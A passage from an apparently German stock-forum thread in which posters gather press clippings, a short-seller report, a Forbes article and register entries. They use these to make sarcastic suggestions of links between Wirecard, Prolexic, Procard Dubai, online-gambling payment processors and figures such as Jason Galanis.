      Schließlich wurde Prolexic 2008 verkauft an eine philippinische Firma IPVG ( http://www.businesswire.com/news/home/20080212005990/en/IPVG… ), dahinter stand Roger Stone, der frühere CEO der schon erwähnten IQ-Ludorum. Barrett wurde total beschissen und bekam nur 400.000US$. Heute gehört Prolexic Akamai, die das Unternehmen 2013 für 370 Mio US$ gekauft haben.

      Zwischendurch wurde Prolexic von der Polizei gestürmt. Als am 13. Oktober 2006 die ersten POlizeimaßnahmen begonnen haben, war eines der ersten Ziele: Neteller (der frühere Partner der Wirecard). 2005 hatte Neteller nach eigenen Angaben die Abrechnung für 80% der weltweiten Gamblingfirmen gemacht, Full Tilt und PokerStars sorgten bei Neteller für 7 Milliarden Umsatz mit Casino.

      Lefebvre und Lawrence wurden 2007 festgenommen und erklärten sich für schuldig.

      Dann gab es Ermittlungen gegen die beteiligten des Börsenganges von Partygaming in 2005. Als Reaktion engagierte RP Hunter Biden als Lobbyfirma (Der Sohn von Joe Biden, dem Vorsitzenden der Justizkommiussion des US Senats) und man sicherte sich die Dienste des Rechtsanwalts Mitch Garber (surefire! wirecard!)

      Hunter Biden beendete seine Tätigkjeit,. als Joe Biden Vizepräsident unter Obama wurde.

      Im Dezember 2008 erklärte sich Anurak Digshit von Partygaming für schuldig und zahlte eine Geldstrafe von 300 Mio US$. RP kämpfte weiter. Ihre Lobbyisten bedrängten die demokratische Senatsmehrheit.

      Zurück zu Prolexic: Da ging es den US-Ermittlern hauptsächlich darum, die Geldflüsse von Mickey Richardson und Jon Sacco aufzudecken. Dazu nutzte man die Tatsache, dass Richardson beim Verkauf der Prolexic seinen Klarnamen angegeben hatte und eine Bankverbindung in Panama. Dazu gibt es den Namen einer Frau: K.M.

      ich hör jetzt auf,

      http://boingboing.net/2010/11/01/us-mobsters-behind-i.html


      ach ja: Sacco hatte eine panamaische Offshorefirma - bei mossack & fonseca
      Avatar
      schrieb am 16.04.16 02:33:22
      Beitrag Nr. 18 ()
      Antwort auf Beitrag Nr.: 52.200.769 von jigajig am 15.04.16 20:36:10Wo du auch überall trötest.:rolleyes:
      Avatar
      schrieb am 16.04.16 02:37:31
      Beitrag Nr. 19 ()
      es wird besser und besser... aus dem intertainment-Bericht

      Laslop was previously and intimately involved in what appears to be an elaborate Ponzi-like scheme where shareholders lost significant
      sums of money at Gerova Financial (source, source 2, source 3, source 4)
      • Laslop was director of Rineon Group
      (1)
      and former Gerova COO (it is noted that this has been omitted in Intertain’s current bio for
      him) – he was sued for fraud by way of a ponzi scheme whereby Laslop and associates assigned Gerova’s real estate to an
      uncontrolled entity thereby creating shareholder losses at the benefit of related parties (which should have been disclosed)
      • Gerova, like Intertain, was created out of a shell company
      • At this entity, Laslop was associated with various questionable individuals who had been sanctioned, sued or shut-down by
      regulators including Jason Galanis (once known as the “New King of Porn”), Matthew Jennings (barred by FINRA) and Westmoore
      Capital (alleged Ponzi-like fraudulent scheme raising $53m)
      • On Sep 24, 2015, the SEC announced charges against most of Laslop counterparts including Jason Galanis for the Gerova
      Scheme with maximum penalties of 20 years in prison:
      • Manhattan U.S. Attorney Preet Bharara said: “As alleged, Jason Galanis and his co-conspirators used their Wall Street
      credentials and the veneer of a legitimate-sounding financial firm to manipulate the market and fleece investors. Their
      alleged market manipulation brought them nearly $20 million in profits, but now also a federal indictment.”
      • Are the SEC and FBI done with there charges on this matter? How come Laslop was not charged as a board member and COO? Is
      there any chance he was not tried because he cooperated with investigations?
       Mr. Laslop’s bio indicates he was CFO, then President, of Prolexic Technologies (2004-2008) a Distributed Denial of Service migration
      provider
      • In Nov 2006, New York authorities issued a 33-count indictment, where Prolexic was named, regarding an illegal online gambling
      operation – at the time, Laslop was Prolexic’s President (source)
      • In Mar 2007, Prolexic, once again related to an illegal gambling ring, were charged as a result of association with corruptio n and
      money laundering
      • After approximately four years at the company, it was acquired for $11M (source) – likely a poor result for its shareholders
      Avatar
      schrieb am 16.04.16 02:41:44
      Beitrag Nr. 20 ()
      Jason Galanis, oh Mann

      forbes, 22.3.2004

      LOS ANGELES - The son of notorious white-collar scamster John Peter Galanis has quietly resurfaced as the buyer of the nation's largest processor of payments for Internet porn.

      Credit card processor Intercept's 2002 acquisition of Internet Billing, or iBill, may go down in history as one of the most boneheaded acquisitions ever by a public company. Now, it's finding it just as embarrassing to get rid of iBill.

      IBill is the largest processor of credit card payments for the purchase of dirty digital pictures. It is literally the engine of paid Internet porn. The company had successfully operated anonymously behind the scenes until 2002, when Intercept paid $104 million to acquire iBill from its founders. After first telling investors that porn comprised just a minor amount of iBill's business, $259 million (2003 revenue), Intercept finally confessed that porn was actually responsible for 85% of iBill's annual credit card transactions, which once amounted to as much as $720 million.

      Having agreed last month to a settlement of $5.3 million for the various class-action lawsuits that resulted from the company's understatement of iBill's dependence on porn, Intercept also announced a deal to relieve itself of the business and sell the division that includes iBill for a lowball $37 million to a group that included management and outside investors (after dropping plans from October to take all of Intercept private). Then, on March 15, the company reversed course yet again and said it would sell iBill separately to yet another buyer, whom the company never disclosed.

      "None of those names have been made public," said an Intercept spokeswoman. "I can't respond."

      For good reason. It turns out the identity of what Intercept only characterizes as "another entity" has become an open secret among folks close to the deal, and not for reasons that will enhance Intercept's shaky reputation. In addition to iBill's former chief executive, Garrett Bender, the other person leading the buyers is none other than Jason Galanis, son of John Peter Galanis, the notorious white-collar crook who bilked investors of $400 million before he was thrown in prison, where he still resides. As Forbes reported in 2000, the disgraced father has had heavy if not controlling influence on Jason's businesses, which have been involved in the spectacular blowup of a Colorado bank and millions in losses for commodity giant Cargill.

      Unlike his father, Jason Galanis has never been convicted of a crime. He has, however, had at least one scrape with the law. While serving as chief executive in 2001 of something called EGX Funds Transfer (formerly known as Incubator Capital), a once-publicly traded financial processing outfit, Galanis and his brother and sometimes-business partner Derek were arrested as part of a big Drug Enforcement Agency bust of a San Diego ecstasy manufacturing and distribution ring. Although all the charges were dropped against Jason, Derek was convicted and sentenced to 11 years in jail.

      Derek's attorney, Janice Deaton of San Diego, says she will soon file an appeal of Derek's conviction, citing "prosecutorial misconduct" and asking for a "huge reduction in sentence based on his actual role." She describes Derek as a "very minimal player," and adds, "he didn't participate in this for any financial gain, and didn't contribute any money." Deaton says both of the Galanis brothers knew one of the principals of the drug ring, Dennis Alba, from prior business dealings, which is how they got caught up in the bust.

      But Deaton contends just the brothers' name alone was enough to arouse suspicion. "Their dad is what got Derek in trouble," she says. "There were other people more involved than Derek who got their cases dismissed. It's the Galanis name. It's really a shame." Although Deaton didn't represent Jason in the matter, she said she's spoken with him frequently, and says she's "impressed with him as a businessperson."

      In an e-mail exchange, Jason Galanis acknowledges the heavy burden of his father's name in the DEA bust. "Unfortunately, I was again maligned by indirect inferences about my relatives, which are, admittedly colorful people. One cannot choose their relatives," he says. "This has haunted me for my entire career. My father left our family when I was 16, when he was indicted and arrested. He has been incarcerated almost my entire adult life...Since my brother's incident, I have wanted nothing further to do with my father or his poor life choices."

      At the same time, Galanis also contends he is only acting as an intermediary for a "handsome fee" in the iBill deal, not as a principal, on behalf of a "Dr. Molina." Molina is apparently Luis Enrique Fernando Molina, a Galinas business associate and Mexican hotel developer whose family controlled Pepsi-Gemex, the largest independent Pepsi bottler outside the United States. But others familiar with the deal say Galanis is more deeply involved than he lets on.

      "My role has been a central on in making the transaction come together," says Galanis. "It is possible that peripheral parties could form the wrong impression."

      Galanis similarly described himself as a "part of the investment banking team" that took Robert Guccione's Penthouse magazine public in 2002, then helped Molina in a deal in November to put another $107 million into Penthouse in a real estate/equity swap. But according to Securities and Exchange Commission filings, Galanis was identified as recently as last fall as the only person associated with Penthouse Financial, a separate company from Guccione's teetering empire that controls Penthouse's racy website. Galanis now says it was more of a licensing deal, and that the contract has since been terminated.

      Galanis' Penthouse experience provides a nice bit of synergy with iBill, perhaps, but iBill's role in the Internet economy--at least the part where people pay for stuff--can't be understated. The company acts as the critical aggregator and gatekeeper between thousands of websites, porn or otherwise, and the bank that ultimately processes the bulk of iBill's credit card transactions and doesn't want the aggravation of dealing with all those pipsqueak businesses. The bank in this case happens to be First Financial Bank, a subsidiary of $8.5 billion (2003 sales) blue chip financial processor First Data.

      The fact that First Data would have to sign off on any deal that hands over a treasure trove of sensitive credit card data to Galanis, or whomever he purports to represent, probably doesn't sit well with the conservative Greenwood Village, Colo., company, which also owns Western Union, TeleCheck and now Concord EFS. First Data is already said to also be looking to exit from the porn payments business. The company has been shopping around its more than $1 billion porn and high-risk merchant portfolio, made up mostly of iBill and a handful of other big porn payment intermediaries like it. Considering the business only contributes $10 million to First Data's $1.4 billion in profits, the risk to First Data's hard-earned reputation seems hardly worth the hassle.

      Like intercept, First Data is also keeping quiet about the possible deal. "First Data does not selectively comment on its business plans," said a First Data spokesperson in a statement. "It is not our practice to make public the details of our specific contractual arrangements or our business relationships with out clients."

      But if you were clearing credit cards for the likes of hotlegsandfeet.com., enema-sex.com and my hotwife.com, you'd probably keep quiet about it too.
      Avatar
      schrieb am 16.04.16 03:31:53
      Beitrag Nr. 21 ()
      Also named as being connected in some form to the Panama Papers is Amaya Gaming CEO David Baazov, which is certain to add another layer to the cloud of controversy surrounding the embattled Amaya chief. Yesterday, Bodog/Bovada mouthpiece site CalvinAyre.com broke the news of the purported connection between Baazov and a now-defunct company called Zapha Holdings, Inc. Zapha listed among its shareholders Goulissa Baazov, sister of David and Josh Ofer Baazov, another prominent figure in Amaya’s ongoing insider-trading scandal. (The use of close family relatives and friends as company figureheads is a common theme with many of the Mossack Fonseca-linked companies.) Another listed Zapha shareholder was a Stephen Sebag, whom CalvinAyre inferred might possibly be related to Amaya CFO Daniel Sebag, although a bit of digging suggests that this person may not in fact be related or connected to Amaya’s CFO.
      3 Antworten
      Avatar
      schrieb am 16.04.16 23:03:54
      Beitrag Nr. 22 ()
      Antwort auf Beitrag Nr.: 52.201.870 von jigajig am 16.04.16 03:31:53eine Studie über 4,1 Millionen merchants, Telefonnummern in Dubai und andere bedlanglose Dinge


      17.02.2011 / 07:45

      Grasbrunn/Munich, February 17, 2011; Effective as at January 13, 2011
      Wirecard AG acquired Procard Services FZ LLC, headquartered in Dubai,
      United Arab Emirates. The seller, Marwan Kheireddine, established the
      company in 2004 together with a number of regional partners. Kheireddine is
      the principal shareholder and CEO of the Lebanese Al-Mawarid Bank s.a.l..
      The parties agreed not to disclose the purchase price.


      Herr Kheireddine hat am 14.02.2011 auf seiner neu installierten Unterseite auch genau erklärt, was er für eine tolle Firma hat:
      http://goo.gl/m52LcP

      PROCARD is a leading provider of electronic commerce and payment solutions for businesses and consumers worldwide. Our acquisition will enable any company to broaden its service offering to its banking and merchant clients and to support their cross-border strategies for growth. Our mission is to provide the best back offices solutions available in the market today. You will not find another service provider that is more flexible or responsive!
      Our services are efficient, affordable and swift. Our vision is to maintain 100% accuracy. Our goal is to support the client with any and all back office technology tasks and to accurately and effectively complete these projects. Our global client base includes clients in many time zones and geographic locations - United Arab Emirates, UK, USA, Canada, Australia, Japan, the Netherlands, Germany and France. The PROCARD team is experienced and skilled, and we have successfully completed and served hundreds of clients. Our training and quality standards ensure efficiency and reliability of data and proven, quality services and support.


      Irgendwann 2008 ist mir diese tolle Firma aufgefallen.

      Directory
      Procard Services FZ-LLC
      502309
      04-3912866
      04-3912113
      www.procard-services.com

      fand ich jetzt nicht so wahnsinnig erhellend. Als die wirecard die Firma gekauft hat, hat man zunächst die Telefonnummer behalten:
      http://goo.gl/fpT9GM
      Damals habe ich mir noch gedacht: Komisch, haben die nicht Sorge, mit der "LCC Middle East" verwechselt zu werden? Die hatten nämlich dieselbe Nummer laut Google
      Lcc Middle East FZ (L.L.C) 04 3912866 Office 908 Thuraya Tower 2,Dubai Internet City 500639 Dubai

      Um die LCC wurde es in jener Zeit gerade eher ein wenig still.
      LCC Germany
      Josef- Dietzgen- Strasse 3
      D-53773 Hennef, Germany
      Tel: +49.22.42.93.330
      Fax: +49.22.42.93.33.199

      aber eine Klasse Firma!

      2004 oder so stand mal, dass einer EBS Holding AG 100% einer "Card Systems, LCC, Dubai" gehören würden. Aber da dachte ich, die haben halt LCC und LLC verwechselt und die "Card Systems" gemeint.

      Na egal.

      Als ich die Firma dann mal unter dieser Adresse sah
      Sheikh Zayed Road Internet City
      Office # 228, 2nd Floor, Building # 16, Ericsson Building.
      (+971 4 3912866)

      fiel sie mir nicht auf, auch die Nummer nicht (war ja anders formuliert)

      Inzwischen ist die Firma umgezogen und verwendet eine andere Telefonnummer
      http://www.lcc.com/index.php/en/contact-us/middle-east
      Gut so, man könnte sonst ja glatt denken, die Wirecard habe eine Firma Procard, LCC 2004 besessen, selbiges vergessen und sie deshalb 2011 noch einmal gekauft. Verrückte Idee, vergesst es einfach.

      Ich wollte auch was anderes erzählen:
      Ich habe nämlich einen Linuxexperten gefunden. Prima, denn ich will ja endlich auf Linux umsteigen.
      Der Experte ist mir aber wohl zu teuer
      https://www.gulp.de/freiberufler/A740B788.html
      Er hat nämlich schon für die Hypo Vereinsbank gearbeitet und für ein Portal gametiger.com, auch für O2 und die Werbeagentur heye.de

      Dann hat er längere Zeit für die Wirecard gearbeitet. Na gut, such ich mir besser einen anderen Experten. Er war sogar ziemlich lange bei der Wirecard
      Projekt : Umzug Rechenzentrum + Aufbau eines Standby Rechenzentrums
      Firma : Wirecard Technology AG
      Zeitraum : August 2007 - September 2010
      Details : Analyse der bestehenden Systemlandschaft, Erstellung eines Konzepts,
      Proof of Concept, Installation und Konfiguration hochverfügbarer
      Systeme auf Basis von RedHat Linux und Oracle.
      Software : Oracle 10+11, RAC, Streams, PL/SQL, Infiniband, Fiber Channel, HA,
      RedHat, Linux, Dell, Perl, Config Management


      Muß ein guter Mann gewesen sein, denn die Wirecard hat ihn später noch einmal benötigt. Also gut, nicht direkt die Wirecard, aber die Procard (und die gehörte ja seit Anfang 2011 der Wirecard)

      Projekt : Planung eines Rechenzentrums in Dubai
      Firma : Procard Services FZ LLC, Dubai
      Zeitraum : Juli 2011 - Dezember 2011
      Details : Erstellung eines Konzepts, Auswahl des Hosting Provider, Dimensionierung
      der Hardware, des Netzwerks und der benötigten Lizenzen, Konzepterstellung
      zu Backup/Recovery, Config Management, Change und Patch Management, Security
      Software : Oracle 10+11, RAC, Streams, PL/SQL, Fiber Channel, HA, Cisco, PCIDSS, PCI DSS
      RedHat, Linux, HP, IBM, Perl, Config Management, Load Blancer, Loadblancer


      Dubai ist ja schön, immer Sonne und so, trotzdem sucht der Linuxexperte heute wieder einen Job in der Münchner Gegend. Brav.

      Ach ja: Zwischen seinem Engagement für die zur Wirecard gehörenden Procard Services FZ LLC und seinem Engagement bei der Wirecard arbeitete er bei
      Firma : Procard Services FZ LLC, Dubai
      Zeitraum : Oktober 2010 - Juli 2011
      Details : Analyse der bestehenden Probleme, Erarbeitung einer Roadmap zur Lösung
      der offenen Punkte, Umsetzung der Security Richtlinien des PCI DSS (Payment Card Industry Digital Security Standard), Schulungen zur Security Awareness
      Software : Kreditkarten, PCI DSS, PCIDSS


      Aber gut, Markus Braun kam ja schließlich auch von der EBS zur "Wire Card I" und brachte diese dann in die EBS, um Chef der "Wire Card II" zu werden. Manchmal verlaufen Karrieren eben nicht geradlinig, schon gar nicht als Linuxeperte oder als Paymentanbieter.

      Die "First Data" kann da ein Lied von singen. Eigentlich ist das eine Firma wie die Firma von dem netten Araber, von dem die Wirecard die Procard gekauft hat.
      First Data is a leading provider of electronic commerce and payment solutions for businesses and consumers worldwide.
      First Data serves 4.1 million merchant locations, 1,500 card issuers and millions of consumers. GZS provides card issuing and acquiring processing as well as cross-border debit and fraud management solutions to its banking clients. Easycash, a fully owned subsidiary of GZS, delivers network service provider and E-business services. Today, GZS processes 982 million transactions per year and provides outsourced processing services for 8.5 million German and Swiss credit cards. Furthermore, GZS provides merchant processing services for its clients who serve more than 300,000 merchants. First Data's acquisition will enable the company to broaden its service offering to its banking and merchant clients and to support their cross-border strategies for growth.


      Das sagte die Procard wörtlich genauso. Nur wurde Procard ja gekauft. Also sagt First Data über die gekaufte GZS dasselbe wie die Procard zu ihrem Käufer Wirecard.

      Auch "Western Union Services Inc." sagte das - übrigens im selben Jahr wie die First Data:
      Jean Claude Farah, director, Middle East, Pakistan and Afghanistan of Western Union Financial Services Inc., has been promoted as its regional vice president, Middle East, Pakistan and Afghanistan. Reporting to Hikmet Ersek, senior vice president, Europe, Middle East, Africa and South Asia in Vienna, Farah will oversee two regional offices in Dubai, United Arab Emirates and Islamabad, Pakistan, managing a team of 26 seasoned professionals, covering 15 countries and over 5000 agent locations.

      Die hatten also sogar die exakt gleiche Anzahl an
      Serving 4.1 million merchant locations, 1,400 card issuers [100 weniger als First Data, die aber a.a.O. auch mal von 1400 schreiben] and millions of consumers, Western Union and its subsidiary, Orlandi Valuta, together make up one of the world’s largest money transfer networks with approximately 233,000 agent locations in more than 200 countries and territories (First Data hatte 300.000).


      http://secureglobalpay.net ist etwas spät dran, macht aber auch munter mit beim großen merchants-Wettzählen. Auf deren aktueller Seite steht:
      SecureGlobalPay is a leading provider of electronic commerce and payment solutions for businesses and consumers worldwide. Serving 4.1 million merchant locations, 1,500 card issuers and millions of consumers,SecureGlobalPay powers the global economy by making it easy, fast and secure for people and businesses around the world to buy goods and services using virtually any form of payment.


      Die Zahl "4,1 Millionen" muß irgendeine geheimnisvolle Bedeutung haben. Denn in Pressemeldungen von 2008 gibt "First Data" immer noch dieselbe Zahl an.

      Komisch.

      Aber ich wollte zurück ins Jahr 2005

      Da kaufte First Data nämlich eine deutsche Firma

      http://www.businesswire.com/news/home/20051230005093/en/Data…

      GZS Gesellschaft fur Zahlungssysteme mbH

      Im Zatarrabericht steht erstaunlicherweise eine ähnlich klingende Firma:
      EZV Gesellschaft für Zahlungssysteme mbH

      Warburg schreibt nun in seiner "Analyse" von Zatarra einen kryptischen Satz

      However, when reading the Zatarra report one might get the impression that Kalder, who
      was involved in money laundering together with Schuett in the U.S., incorporated the
      German company EZV, Gesellschaft für Zahlungssysteme mbH, which is a cooperation
      partner of Wirecard. Based on our findings here, the Zatarra report could easily be
      misinterpreted in our view. Zatarra writes that USA AG Inc. had an address in Germany which seemingly had the same address as EZV. Based on our research, this seems to be correct.


      also:
      EZV ist Partner von Wirecard, hat aber nichts zu tun mit Schütt
      GZS ist partner von "First Data", hat aber nichts zu tun mit Procard in Dubai
      Secureglobalpay ist "An Agent of Clearent, LLC a registered MSP of Central Bank of STL"
      Procard heißt heute wirecard dubai irgendwas und hat nichts mit der First Data zu tun
      LCC in Dubai hat mit nichts zu tun, hat nur zufällig dieselbe Telefonnummer wie Procard
      Procard gehörte 2004 zu 100% zur EBS Holding AG
      Linuxexperten können hellsehen und arbeiten überall gut

      fassen wir zusammen: Alles ist gut.

      aber was bedeutet jetzt die Zahl "4,1 Millionen merchant locations" und warum haben so viele Firmen genau diese Anzahl und für was hat First Data die GZS gekauft, wenn es hinterher trotzdem bei "4,1 millionen merchant locations" blieb?
      2 Antworten
      Avatar
      schrieb am 18.04.16 19:48:38
      Beitrag Nr. 23 ()
      for the record - Analyse später, wenn es mal ein Zeitfenster dafür gibt

      Solidarität ohne Ende oder ein Ende ohne Solidarität?
      Über das Zusammengehörigkeitsgefühl in der Adult Webmasterbranche wurde viel diskutiert. Durch die Aktion www.184c.de hat diese Diskussion wieder an Aktualität gewonnen, da sich die Spendenbereitschaft in überschaubaren Grenzen hält. Die Gründe dafür scheinen vielfältig zu sein.
      Andreas Döhring
      Die Gesinnung einer Gemeinschaft mit starker innerer Verbundenheit“: Mit diesen Worten hat der deutsche Soziologe Alfred Vierkandt den Begriff Solidarität erläutert. Wie ist es um diese Verbundenheit innerhalb der Adult-Webmasterbranche bestellt, wenn man als Gradmesser die Liste der Unterstützer der Aktion www.184c.de heranzieht? Diese sieht vor dem Hintergrund, daß die Verfassungsbeschwerde gegen den Paragraphen 184c die gesamte Erotik-Online-Branche betrifft, doch recht überschaubar aus. Für den Online-Erotikanbieter Dr. Matthias Mönch ist die Aktion dennoch ein Erfolg. „Eine Zwischensumme in Höhe von 17.000 Euro (Stand Ende Januar) ist respektabel. Man bedenke, die Aktion 184c läuft erst über zwei Monate und wurde bisher nur im inneren Branchenkreis publiziert“, so der Branchenkenner.
      Daß es dennoch keine größere Spendenbereitschaft gibt, dafür sieht Thommy Oliver, Geschäftsführer der Momo-Net GmbH, verschiedene Ursachen. „Ein Grund ist wohl, daß die Branche durch die jahrelange Untätigkeit heute schon finanziell so ausgeblutet ist, daß es kaum noch Leute gibt, die den finanziellen Background haben, sich an so etwas zu beteiligen.“ Für ihn sind auch gerade in bezug auf Paragraph 184c verschiedene Interessen festzumachen. Schließlich seien nicht alle an einer Änderung der Rechtslage interessiert, andere wiederum hätten ihre Konsequenzen schon gezogen und seien ins Ausland abgewandert. „Das dritte, das verbleibende Lager besteht im Prinzip aus denselben alten Individualisten, die die Flinte eben nicht ins Korn werfen, solange noch Munition da ist. Aber selbst bei denen hat die Kriegskasse in den letzten Jahren ein derbes Loch bekommen“, führt Thommy Oliver aus.
      Thommy Oliver
      Für Andreas Döhring, Geschäftsführer der XXXCounter GmbH, kam die Umsetzung zur Einreichung einer Verfassungsklage einfach deutlich zu spät. Die Spendenbereitschaft wäre seiner Meinung nach größer, wenn die Umsetzung von einem unabhängigen Verband oder Verein organisiert werden würde. „Zudem sind alle finanzkräftigen Firmen ausgewandert und können heute besser als vor der Umsetzung des neuen Medien-Staatsvertrages arbeiten. Und besagte Firmen haben kein Interesse, zurück nach Deutschland zu kommen“, gibt Döhring einen weiteren wichtigen Grund an. „Die wenigen verbliebenen deutschen Firmen haben sich mit den Jugendschutzbestimmungen abgefunden.“ Die Meinung, ein unabhängiger Verband oder Verein hätte mehr Erfolg gehabt, teilt auch Ingo Freitag, Geschäftsführer der webad – internet advertising GmbH. Die Aktion 184c sei zu sehr mit einem bestimmten AV-System verbunden. „Ich kann mir vorstellen, daß sich viele Webmaster, vor allem kleine, davor scheuen, sich öffentlich zu einem AVS zu bekennen.“
      Finanzieller Background, verschiedene Interessenlagen, Sympathien und Antipathien sowie der Ruf nach Unabhängigkeit einer gemeinsamen Aktion mögen Gründe genug sein, doch Mathias Brand, Betreiber von wixlux.de, spricht deutlich an, woran es seiner Meinung nach noch liegen könnte: „Im Egoismus! Jeder ist sich selbst der Nächste, und solange jemand nicht persönlich betroffen ist, wird auch nichts gespendet. Hinterher ist dann das Gejammer um so größer!“ Seine Erfahrungen mit „sogenannten Kollegen“ sprechen durchaus von Egoismus. „Bei Anfragen zu Partnerschaften oder Geschäftsvorschlägen bekam ich entweder gar keine Antwort oder wenn doch, dann nur unter der Voraussetzung, daß man mindestens Pagerank 3 haben muß oder die Seite des Angefragten auf den eigenen Seiten besonders hervorheben sollte. Ich selbst durfte keine Forderungen stellen“, klagt er. „Im deutschen Adult Business regiert das Motto ‚Gier ist grenzenlos‘!“
      Mathias Brand
      Skrupellos und rücksichtslos seien viele „Kollegen“, obwohl der Erotik-Markt groß genug für alle Webmaster sei. „Jeder bekäme das, was ihm zustünde. Aber nein, unsere momentane gesamtdeutsche Mentalität läßt die Habgier an die erste Stelle rücken, anstatt ehrlich miteinander zu sein. Zum Glück gibt es noch Menschen, die sich nicht verbiegen lassen. Und diese werden am Ende zu den Gewinnern in der Branche gehören.“ Daß die rechtlichen Rahmenbedingungen die Konkurrenzsituation verschärfen, glaubt Brand nicht. „Die Verschärfung liegt einzig und allein in der Gier nach mehr und der daraus resultierenden Mißgunst den anderen Kollegen gegenüber.“
      Gerade diese Verschärfung durch die aktuelle Gesetzeslage ist für Ingo Freitag der Grund für die härter werdende Konkurrenzsituation im Adult-Bereich. „Für in Deutschland ansässige Webmaster ist es nach der Gesetzesänderung ungleich schwerer geworden. Und wo weniger Umsatz gemacht wird, wird auch das Konkurrenzverhalten härter.“ Für Thommy Oliver liegt das Problem viel tiefer. Er sagt, daß in jeder Branche, die überwiegend aus „Nicht-Kaufleuten“ bestehe, eine ähnliche Entwicklung festzustellen sei. „Wir hatten vor Jahren das Phänomen, daß jeder X-beliebige sich in einem Webmasterforum anmelden und die Frage ‚Wie verdiene ich schnell viel Geld’ stellen konnte. Er bekam eine Antwort und wurde von jedem dazu eingeladen, sich mit ins Boot zu setzen, weil dieses augenscheinlich eine unendliche Größe hatte.“ Er vergleicht die Situation im Internet mit den Goldfieber-Zeiten in den USA, als viele als Freunde auszogen, um reich zu werden, und der Hunger am Ende größer als der Kuchen war. „Und Hunger kann aus den besten Freunden die bittersten Feinde machen.“
      Oliver fordert dazu auf, die Geschichte der Goldgräberzeit bis zum Ende zu lesen, denn diese sei deckungsgleich mit dem, was seit der Erfindung des Internets passiert sei. „Und sie wird deckungsgleich bis zum bitteren Ende bleiben.“ Solidarität sei ohnehin ein gesellschaftliches Phänomen, das sich im Laufe der Zeit wandeln könne, und der Ruf nach Solidarität ertöne nur aus den Reihen derer, die sie gerne in Anspruch nehmen würden und nicht von Seiten derer, die sie zu erbringen hätten. „Nur kann man in einem Staat eben Menschen zu Solidarität zwingen. Doch in einem halb-anarchistischen‚ ‚bunten Eintopf’ aus wenigen Gewinnern und verdammt vielen Verlierern bricht der Solidaritätsgedanke dann mit einem Mal zusammen.“ Echte Solidarität in einer Gemeinschaft mit denselben wirtschaftlichen Interessen könne nur dann entstehen, wenn diese Gemeinschaft synergetisch arbeite. „Sprich, es muß einen Kreislauf von gegenseitigen Abhängigkeiten bestehen. Dann ist Solidarität so eine Art Unfallversicherung.“
      Der springende Punkt für Thommy Oliver ist, daß dieses synergetische Denken noch nicht existent sei. „Jeder will das machen, was der andere macht, und wird somit automatisch zum Konkurrenten.“ Doch für die Zukunft sieht er nicht nur schwarz. „Die Schaffung von synergetischen Strukturen ist also die Muttererde, aus der die Branche eines Tages wieder, wie Phoenix aus der Asche, steigen wird“, hofft er. „Es wird eine sehr viel kleinere, vernetztere und aufgabenorientiertere Branche, die man von der Solidarität nicht überzeugen muß. Denn eine der einfachsten Bauernweisheiten heißt nicht nur, daß man die Kuh, die Milch gibt, nicht schlachten sollte, sondern daß man sie auch füttern muß.“
      Dr. Matthias Mönch sieht gerade den Branchendialog und die Hilfsbereitschaft gegenüber Mitbewerbern, gemessen an den Revierkämpfen der klassischen Kaufleute, als sehr gut an. „Bei Sichtung einer Mitbewerberseite denken die meisten primär an Kooperation.“ Es gelte zu bedenken, so Mönch weiter, daß keine klassischen Ausbildungswege zum gelernten oder studierten Adultwebmaster führen. „Die Branche ist eine mit Lebenserfahrungen und verschiedenen beruflichen Qualifikationen bunt zusammen gewürfelte Gruppe von Personen mit tendenziell ausgeprägter Persönlichkeit.“ Andreas Döhring geht noch einen Schritt weiter in seiner Bewertung und sagt: „Die Online-Erotik-Branche ist immer noch die Branche mit der größten gemeinsamen Solidarität!“ Er tausche sich auch heute noch mit vielen ihm bekannten Webmastern aus, und er hält eine natürliche Konkurrenz in jeder Branche für zwingend notwendig. „Ich bin der Meinung, daß die Branche sehr gut miteinander arbeitet. Wenige Ausnahmen bestätigen die Regel.“
      Die Meinungen gehen also auseinander, was den Solidaritätsgedanken betrifft. Die Branche einfach auf das Motto „Alle müssen an einem Strang ziehen“ zu reduzieren, wird ihr nicht gerecht. Das läßt die Gemengelage aus verschiedensten Interessen kaum zu. Die Kriegskassen sind anscheinend leer, andere haben bereits ihre Konsequenzen aus der hiesigen Situation in Deutschland gezogen oder haben sich damit arrangiert, so daß ein gemeinsames Vorgehen wie im Falle 184c erschwert wird. Vielleicht wäre es ratsam gewesen, zu Beginn einer solchen Aktion wie 184c die bereits angesprochene Überparteilichkeit fest zu verankern. Andererseits hat Tobias Huch mit seiner Verfassungsbeschwerde Mut und Initiative bewiesen, von der bei einem positiven Ausgang auch die Personen profitieren werden, die seine Aktion nicht unterstützt haben. Sollte sie jedoch scheitern, haben es alle sowieso schon im Vorfeld gewußt.
      2006-02-01
      Avatar
      schrieb am 18.04.16 20:46:49
      Beitrag Nr. 24 ()
      31.07.2003

      HRB 148610: Wire Card Processing AG Hallbergmoos (Lilienthalstr. 5, 85399 Hallbergmoos ). Aktiengesellschaft. Satzung vom 16.03.1999, zuletzt geändert am 15.10.2001. Die Hauptversammlung vom 18.12.2002 hat die Änderung des § 11 (Ordentliche und außerordentliche Hauptversammlung) der Satzung beschlossen. Die Hauptversammlung vom 20.03.2003 hat die Änderung des § 1 (Firma, bisher Xlook AG (Amtsgericht Achim HRB 6390) und Sitz, bisher Achim ) der Satzung beschlossen. Die Hauptversammlung vom 13.06.2003 hat die Änderung der §§1 (Firma) sowie 2 (Gegenstand des Unternehmens) der Satzung beschlossen.
      Gegenstand des Unternehmens: Entwicklung von Anwendungen im Bereich Zahlungs-, Risk- und Cashmanagementlösungen in offenen Netzen, Marketing und Verkauf dieser Produkte sowie alle damit im Zusammenhang stehenden Aufgaben, Tätigkeiten und Dienstleistungen.
      Grundkapital: 50.000, 00 EUR. Ist nur ein Vorstandsmitglied bestellt, so vertritt es die Gesellschaft allein. Sind mehrere Vorstandsmitglieder bestellt, so wird die Gesellschaft durch zwei Vorstandsmitglieder gemeinsam vertreten.
      Ausgeschieden Vorstand: Freitag Ingo; Voigts Frank.
      Bestellt Vorstand: Dr. Braun Markus
      .Nicht eingetragen: Bekanntmachungsblatt ist der Bundesanzeiger.


      www.xlook.de
      xlook nennt sich selbst “Das ErotikPortal” und übertreibt
      dabei sicherlich nicht. Hier findet der Kunde so ziemlich
      alles, was sein Herz begehrt. Deshalb sollte eigentlich
      jede ernsthafte Erotikseite hier vertreten sein.
      Um so unverständlicher ist eigentlich die Backlinkpflicht,
      denn wie schon erwähnt, werden dann Seiten wie PX24,
      Webmasterlounge, Sex.de oder andere, die eigentlich in
      jede gute Suchmaschine gehören nicht im Index aufgelistet.
